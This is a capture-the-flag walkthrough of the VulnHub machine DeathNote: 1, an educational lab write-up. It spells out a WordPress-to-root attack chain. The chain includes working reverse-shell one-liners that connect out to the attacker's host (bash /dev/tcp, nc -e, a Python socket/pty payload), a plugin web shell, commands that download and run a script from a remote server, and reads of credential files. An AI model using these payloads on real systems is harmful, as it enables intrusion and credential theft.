> For the complete documentation index, see [llms.txt](https://notes-95.gitbook.io/documents/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes-95.gitbook.io/documents/home/ctf-lab-write-ups/vulnhub/web-exploitation/deathnote-1.md).

# DeathNote: 1

{% embed url="<https://www.vulnhub.com/entry/deathnote-1>" %}

<details>

<summary><strong>Summary</strong></summary>

DeathNote: 1 is an easy, Death Note–themed boot-to-root machine. It looks like a straightforward WordPress box on the surface, but it's really a chain of small puzzles, hidden files disguised as images, encoded hints stashed in obscure pages, and layered encoding schemes (Base64, hex, Brainfuck) sitting on top of a fairly standard WordPress-to-shell exploitation path, followed by an SSH key-reuse privilege escalation and a final sudo escalation to root.

</details>

**What you'll learn:**

* How to spot files that are disguised with a fake extension
* Enumerating WordPress users via the REST API
* Gaining remote code execution on WordPress by uploading a malicious plugin
* Building a stable reverse shell when common one-liners get blocked
* Recognizing and decoding multiple layers of obfuscation
* Privilege escalation via SSH private key reuse
* Using LinPEAS to speed up privilege escalation enumeration
* Escalating to root via a discovered sudo password

***

### Reconnaissance

#### Passive Enumeration

For a VulnHub box like this, there's no real external OSINT surface to work with (it's an isolated lab VM, not a live internet target). So passive recon here is really just knowing what we're working with going in: an "easy"-rated machine from the DeathNote series, described by the author as "straightforward." That framing matters because it's a hint not to overthink early steps.

<details>

<summary><strong>Why this matters</strong></summary>

In a real-world engagement, passive recon (WHOIS, subdomain enumeration, LinkedIn/OSINT, and cached pages) would come first and shape your entire approach. On isolated lab VMs, that step collapses to "read the description," but keep the habit for real targets.

</details>

#### Active Enumeration

First, find the machine on the network. Normally, you would not use vboxnet0. I used it only to find the IP faster:

```
sudo netdiscover -i vboxnet0 -r 192.168.56.0/24
```

```
IP              At MAC Address       Count   Len   MAC Vendor / Hostname
192.168.56.110  08:00:27:18:50:e9      1      60   PCS Systemtechnik GmbH
```

Run a full TCP port scan to identify every open port, service, and version quickly.

```
nmap -sV -p- -T4 192.168.56.110
```

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
```

The scan shows only two open ports. SSH is worth noting if I find credentials or a key later. With nothing else exposed, port 80 is almost certainly where this box lives.

<details>

<summary><strong>Why this matters</strong></summary>

`-p-` scans all 65,535 ports instead of just the top 1,000. On a two-port box like this, it does not change the outcome. On a less obvious target, it can reveal an unusual service.

</details>

***

#### Enumeration

```
gobuster dir -u http://deathnote.vuln -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,txt,html
```

```
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://deathnote.vuln
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta.txt             (Status: 403) [Size: 279]
.hta                 (Status: 403) [Size: 279]
.hta.html            (Status: 403) [Size: 279]
.hta.php             (Status: 403) [Size: 279]
.htaccess            (Status: 403) [Size: 279]
.htaccess.txt        (Status: 403) [Size: 279]
.htaccess.php        (Status: 403) [Size: 279]
.htaccess.html       (Status: 403) [Size: 279]
.htpasswd            (Status: 403) [Size: 279]
.htpasswd.txt        (Status: 403) [Size: 279]
.htpasswd.html       (Status: 403) [Size: 279]
.htpasswd.php        (Status: 403) [Size: 279]
index.html           (Status: 200) [Size: 197]
index.html           (Status: 200) [Size: 197]
manual               (Status: 301) [Size: 317] [--> http://deathnote.vuln/manual/]
robots.txt           (Status: 200) [Size: 68]
robots.txt           (Status: 200) [Size: 68]
server-status        (Status: 403) [Size: 279]
wordpress            (Status: 301) [Size: 320] [--> http://deathnote.vuln/wordpress/]
Progress: 19000 / 19000 (100.00%)
===============================================================
Finished
===============================================================
```

Two things are worth chasing here. robots.txt is always worth checking. It is meant for crawlers, but often leaks paths developers considered "hidden" rather than protected. /wordpress/ also identifies the correct application path.

```
curl http://deathnote.vuln/robots.txt
```

```
fuck it my dad
added hint on /important.jpg
ryuk please delete it
```

This in-character text names a specific file. Visiting /important.jpg throws a display error: “The image … cannot be displayed because it contains errors.” That makes the file suspicious. I downloaded it and checked the actual .jpg content.

```
curl -O http://deathnote.vuln/important.jpg
# Downloaded the image

file important.jpg
# Inspected the image
```

```
important.jpg: ASCII text
```

Confirmed: the extension says .jpg, but file checks the actual content. The file contains plain text. Extensions are only naming conventions. They do not verify the contents.

```
cat important.jpg
```

```
i am Soichiro Yagami, light's father
i have a doubt if L is true about the assumption that light is kira
i can only help you by giving something important

login username : user.txt
i don't know the password.
find it by yourself
but i think it is in the hint section of site
```

Two leads out of this: a hint section somewhere on the site, and something around "user.txt" possibly a literal filename or could possibly be a username.

```
curl http://deathnote.vuln/wordpress/
```

I retrieved the website’s HTML and inspected it for anything unusual. The output contained two interesting details:

```
<div class="primary-menu-container"><ul id="primary-menu-list" class="menu-wrapper"><li id="menu-item-37" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-37">
<a href="http://deathnote.vuln/wordpress/index.php/hint/">HINT</a></li>
<aside class="widget-area">
                <section id="recent-comments-2" class="widget widget_recent_comments"><h2 class="widget-title">my fav line is iamjustic3</h2><nav role="navigation" aria-label="my fav line is iamjustic3"><u
```

The HTML revealed a navigation link to/wordpress/index.php/hint/. A “recent comments” widget also repeats iamjustic3 twice. Repetition like that usually indicates meaningful text, not filler, so I treated it as a real lead.

```
curl http://deathnote.vuln/wordpress/index.php/hint/

Find a notes.txt file on server / See the L comment
```

I followed the “L comment” lead to a specific post, but its body was empty. I also checked/notes.txt directly, with no result. These dead ends confirmed that iamjustic3 was the actual clue.

<details>

<summary><strong>Why this matters</strong></summary>

Not every lead pans out, and that is normal. Enumeration means pursuing multiple threads and discarding dead ends without losing productive ones.

</details>

```
curl http://deathnote.vuln/wordpress/index.php/wp-json/wp/v2/users
```

This WordPress REST API endpoint is publicly accessible on this target. It returns the username kira.

<details>

<summary><strong>Why this matters</strong></summary>

`/wp-json/wp/v2/users` can expose usernames on publicly accessible WordPress installations. Themes, plugins, and security settings can restrict it. Check the endpoint during WordPress enumeration, but do not assume it is always available.

</details>

Combining the leaked username with the earlier clue as a password:

```
http://deathnote.vuln/wordpress/wp-login.php
```

kira / iamjustic3 logs me in and provides full access to the WordPress admin panel.

***

### Exploitation

With valid admin credentials, RCE is effectively available. WordPress’s plugin and theme system lets authenticated administrators upload and execute arbitrary PHP by design. This is documented behavior, not a bug. That is why the credentials matter.

First attempt: Set up a listener in a separate terminal and paste a reverse shell payload directly into the built-in theme editor:

{% code expandable="true" %}

```
# In a separate terminal
nc -lvnp 4444
listening on [any] 4444 ...
```

{% endcode %}

```
<?php system("bash -c 'bash -i >& /dev/tcp/<Your VBox IP>/4444 0>&1'"); ?>
```

This ultimately failed. WordPress detected that the site became unreachable during its post-save health check and automatically reverted the file. The check prevents administrators from locking themselves out with broken theme code. It also catches this payload.

Since the theme editor auto-reverts, I uploaded a malicious WordPress plugin to get code execution.

<details>

<summary><strong>WordPress Plugin Shell</strong></summary>

{% embed url="<https://github.com/r00tdrift/Notes/blob/main/payloads/web-shells.md>" %}

Steps:&#x20;

create the plugin file, zip it, upload via wp-admin → Plugins → Add New,\
activate, then trigger via ?cmd= on the plugin's file path.

</details>

```
curl "http://deathnote.vuln/wordpress/wp-content/plugins/shell-plugin/shell-plugin.php?cmd=id"
```

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Command execution is confirmed. The plugin route worked because the health check specifically watches whether the *site* remains reachable after a theme save. An inactive plugin in wp-content/plugins/ is not evaluated the same way until its endpoint is accessed directly. It therefore bypasses that safety net.

With a listener up, I tried a few one-liners:

```
curl "http://deathnote.vuln/wordpress/wp-content/plugins/shell-plugin/shell-plugin.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.56.1/4444%200%3E%261%22"
```

I tried a Bash /dev/tcp reverse shell, which failed. I then tried nc -e:

```
curl "http://deathnote.vuln/wordpress/wp-content/plugins/shell-plugin/shell-plugin.php?cmd=nc%20-e%20/bin/bash%20192.168.56.1%204444"
```

This also failed, likely because nc lacked -e support. When a payload fails silently through a URL parameter, suspect encoding first. Special characters can be mangled before reaching the shell. I switched to curl -G --data-urlencode rather than hand-crafting the encoding:

```
curl -s -G "http://deathnote.vuln/wordpress/wp-content/plugins/shell-plugin/shell-plugin.php" \
  --data-urlencode 'cmd=python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.56.1\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")"'
```

I re-triggered the Python reverse-shell payload. This time, it worked. I received an interactive shell as www-data.

***

### Privilege Escalation

```
find / -name "user.txt" 2>/dev/null
```

Two copies exist. One is real, and one is a decoy in the WordPress uploads folder. I checked /etc/passwd for accounts with real shells:

```
cat /etc/passwd | grep -E "sh$"
```

```
root:x:0:0:root:/root:/bin/bash
l:x:1000:1000:L,,,:/home/l:/bin/bash
kira:x:1001:1001:kira,,,:/home/kira:/bin/bash
```

WordPress’s configuration file is worth checking because it stores database credentials in plaintext. Administrators often reuse that password for system accounts:

```
cat /var/www/deathnote.vuln/wordpress/wp-config.php | grep -i "DB_\|pass"
```

```
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'l' );
/** MySQL database password */
define( 'DB_PASSWORD', 'death4me' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8mb4' );
define( 'DB_COLLATE', '' )
DB credential dump: DB_USER: l/DB_PASSWORD: death4me
```

The database password also works for the local l account:

```
su - l
# Password: death4me
whoami
```

```
l
```

While exploring the filesystem, I found two copies of user.txt:

{% code expandable="true" %}

```
/home/l/user.txt
/var/www/deathnote.vuln/wordpress/wp-content/uploads/2021/07/user.txt
```

{% endcode %}

/home/l/user.txt was not a flag. It was a long string built almost entirely from+ - < > . \[ ].

{% code expandable="true" %}

```
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++.<<++.>>+++++++++++.------------.+.+++++.---.<<.>>++++++++++.<<.>>--------------.++++++++.+++++.<<.>>.------------.---.
<<.>>++++++++++++++.-----------.---.+++++++..<<.++++++++++++.------------.>>----------.+++++++++++++++++++.-.<<.>>+++++.----------.++++++.<<.>>++.--------.-.++++++.<<.>>-------
-----------.+++.<<.>>----.+.++++++++++.-------.<<.>>+++++++++++++++.-----.<<.>>----.--.+++..<<.>>+.--------.<<.+++++++++++++.>>++++++.--.+++++++++.-----------------.
```

{% endcode %}

I had no idea what the heck I was looking at so I had to go on google to do some research and I found that character set is a telltale sign for Brainfuck!

<details>

<summary><strong>What is Brainfuck?</strong></summary>

An esoteric language that produces output by manipulating a tape of memory cells with a tiny instruction set.

</details>

Recognizing it by sight (rather than throwing it at a Base64/hex decoder and getting garbage) is what pointed me toward writing an interpreter instead of continuing to guess encodings:

To decode this string output I used a custom  decoder script.

<details>

<summary><strong>simple_decoder.py</strong></summary>

{% embed url="<https://github.com/r00tdrift/Notes/blob/main/tools/python/decoders/simple_decoder.py>" %}

Usage:\
python3 simple\_decoder to run the script.&#x20;

Pick which decoder you want to use, paste or enter the code you want decoded, and then press enter.

</details>

```
Decoded output: i think u got the shell , but you wont be able to kill me -kira
```

This is an in-character taunt, not a functional clue. It confirms that I interpreted the puzzle correctly.

I set up and ran LinPEAS rather than checking every privilege-escalation vector manually:

```
# In a separate terminal
cd /usr/share/peass/linpeas/
python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ..

# On target:
wget http://192.168.56.1:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh
```

After LinPEAS ran I received some interesting findings from the LinPEAS scan:

1. uid=1001(kira) gir=1001(kira) gird=1001(kira),27(sudo) means kira is in the sudo group.
2. /home/l/.ssh/id\_rsa is a readable private SSH key for user l.
3. /home/kira/.ssh/authorized\_keys: contains matching public key which means, l's private key was authorized to log in as kira. Wait, so does this mean I can login as kira under l???

<details>

<summary><strong>Why this matters</strong></summary>

`authorized_keys` controls which private keys may log in *as that account*. It says nothing about who the key “belongs” to. If `l`’s private key is listed in `kira`’s `authorized_keys`, anyone holding that key can log in as `kira` without a password. `linpeas` automatically flags this cross-account trust.

</details>

```
nano ~/l_id_rsa
# After copying l's private key from the linpeas output, I saved it to a file

chmod 600 ~/l_id_rsa
# Set the file permissions
```

Standard SSH and puttygen initially failed because the copied key contained a typo. After correcting the final digit, I used a Paramiko-based interactive shell:

To get a shell, I used a custom SSH key based shell script:

<details>

<summary><strong>ssh_key_shell.py</strong></summary>

{% embed url="<https://github.com/r00tdrift/Notes/tree/main/tools/python/networking>" %}

Usage:&#x20;

python3 ssh\_key\_shell.py --host 192.168.56.110 --user kira --key \~/l\_id\_rsa

</details>

```
whoami

output: kira
```

I escalated to kira. Her home directory contained kira.txt, a Base64 string:

```
echo "cGxlYXNlIHByb3RlY3Qgb25lIG9mIHRoZSBmb2xsb3dpbmcgCjEuIEwgKC9vcHQpCjIuIE1pc2EgKC92YXIp" | base64 -d
```

```
please protect one of the following
1. L (/opt)
2. Misa (/var)
```

I followed the /opt/L lead and found fake-notebook-rule and kira-cas. The kira-case/case-file.txt was in-character lore that pointed back to fake-notebook-rule. That directory contained a hint file and case.wav

{% code expandable="true" %}

```
the FBI agent died on December 27, 2006
1 week after the investigation of the task-force member/head.
aka.....
Soichiro Yagami's family .
hmmmmmmmmm......
and according to watari ,
he died as other died after Kira targeted them .
and we also found something in 
fake-notebook-rule folder.
```

{% endcode %}

```
cat /opt/L/fake-notebook-rule/hint

output: 'use cyberchef'
```

```
file /opt/L/fake-notebook-rule/case.wav
```

I checked the case.wav file type. It used the same trick as important.jpg: ASCII text behind a misleading extension.

```
cat /opt/L/fake-notebook-rule/case.wav
```

```
63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d
```

These space-separated byte pairs form a hex-encoded string. Decoding it produces another Base64 string. The two layers slow down anyone who attempts a single decoder without recognizing each format.

```
echo "63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d" | xxd -r -p
output: cGFzc3dkIDoga2lyYWlzZXZpbCA=

echo "cGFzc3dkIDoga2lyYWlzZXZpbCA=" | base64 -d
output: kiraisevil
```

With the password in hand, I checked kira's sudo rights:

```
sudo -l
# password: kiraisevil
```

```
User kira may run the following commands on deathnote:
    (ALL : ALL) ALL
```

This user provides full sudo access. I escalated directly to root:

```
sudo su
whoami   # root
id       # uid=0(root) gid=0(root) groups=0(root)
```

***

### Getting Root and Flag

```
ls -a
cat root.txt
```

```
   ::::::::       ::::::::       ::::    :::       ::::::::       :::::::::           :::    :::::::::::       :::::::: 
    :+:    :+:     :+:    :+:      :+:+:   :+:      :+:    :+:      :+:    :+:        :+: :+:      :+:          :+:    :+: 
   +:+            +:+    +:+      :+:+:+  +:+      +:+             +:+    +:+       +:+   +:+     +:+          +:+         
  +#+            +#+    +:+      +#+ +:+ +#+      :#:             +#++:++#:       +#++:++#++:    +#+          +#++:++#++   
 +#+            +#+    +#+      +#+  +#+#+#      +#+   +#+#      +#+    +#+      +#+     +#+    +#+                 +#+    
#+#    #+#     #+#    #+#      #+#   #+#+#      #+#    #+#      #+#    #+#      #+#     #+#    #+#          #+#    #+#     
########       ########       ###    ####       ########       ###    ###      ###     ###    ###           ########       

##########follow me on twitter###########3
and share this screen shot and tag @KDSAMF
```

The root flag was retrieved. Challenge complete.

### Key Takeaways

* Check file content with file, not the extension. This box hid two separate clues behind fake image/audio extensions.
* WordPress’s REST API can expose usernames at /wp-json/wp/v2/users. Check it without authentication during WordPress enumeration.
* Plugin uploads are a reliable RCE path once you have WordPress admin access, and can succeed even when a more obvious route (theme editor) gets blocked.
* When a reverse-shell payload fails silently through a URL parameter, suspect encoding first. curl -G --data-urlencode avoids a whole class of these failures.
* wp-config.php frequently leaks reusable credentials. Always check it after landing a WordPress shell.
* authorized\_keys defines trust, not ownership. A private key can grant access to an account it does not belong to. Tools like LinPEAS can identify this cross-account trust.
* Layered encoding is a recognition skill. Learning to spot Base64, hex, and Brainfuck by character pattern saves real time over blindly decoding.

Thank you for reading. I hope this helps you complete the VM. Good luck.
